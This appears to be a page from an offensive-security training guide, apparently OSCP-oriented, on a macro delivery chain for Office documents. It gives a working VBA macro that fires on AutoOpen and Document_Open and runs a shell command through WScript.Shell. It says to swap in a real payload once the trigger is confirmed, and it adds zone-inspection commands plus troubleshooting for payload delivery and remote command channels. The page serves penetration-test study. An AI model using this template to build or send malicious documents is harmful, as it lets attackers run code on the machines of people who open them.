Use a gated Office macro delivery chain
Contents ↑Use when: An assigned client-side scenario includes Office and a document-open interaction
Needs: Compatible installed Office/macro support, a real required user interaction, executable document state and allowed macro/security policy
A minimal harmless execution proof is
Use a macro-enabled format such as
.docmor a legacy.doc;.docxdoes not persist embedded VBA macros by itself. Store the macro in the document, not only the global template. A minimal harmless execution proof is:
' A minimal harmless execution proof is
Sub AutoOpen()
RunProof
End Sub
Sub Document_Open()
RunProof
End Sub
Sub RunProof()
CreateObject("WScript.Shell").Run _
"cmd.exe /c whoami > %TEMP%\oscp-marker.txt", 0, True
End Sub
Inspect a file's zone without changing it
AutoOpenandDocument_Opencover distinct Word opening paths. Replace the proof command only after the document, trigger and execution context are confirmed.
# Inspect a file's zone without changing it
Get-Item -LiteralPath 'C:\PATH\FILE.docm' -Stream *
Get-Content -LiteralPath 'C:\PATH\FILE.docm' -Stream Zone.Identifier
Read / verify → Verify the actual macro-triggered effect and user context; document receipt is not execution.
If it fails → Missing Office, absent interaction, blocked internet macros or incompatible content invalidates the chosen chain. Use a method supported by the assigned scenario.
- A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries
- Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order
- Windows execution or valid credentials with an available remote service → Use Windows authenticated access or a PowerShell command channel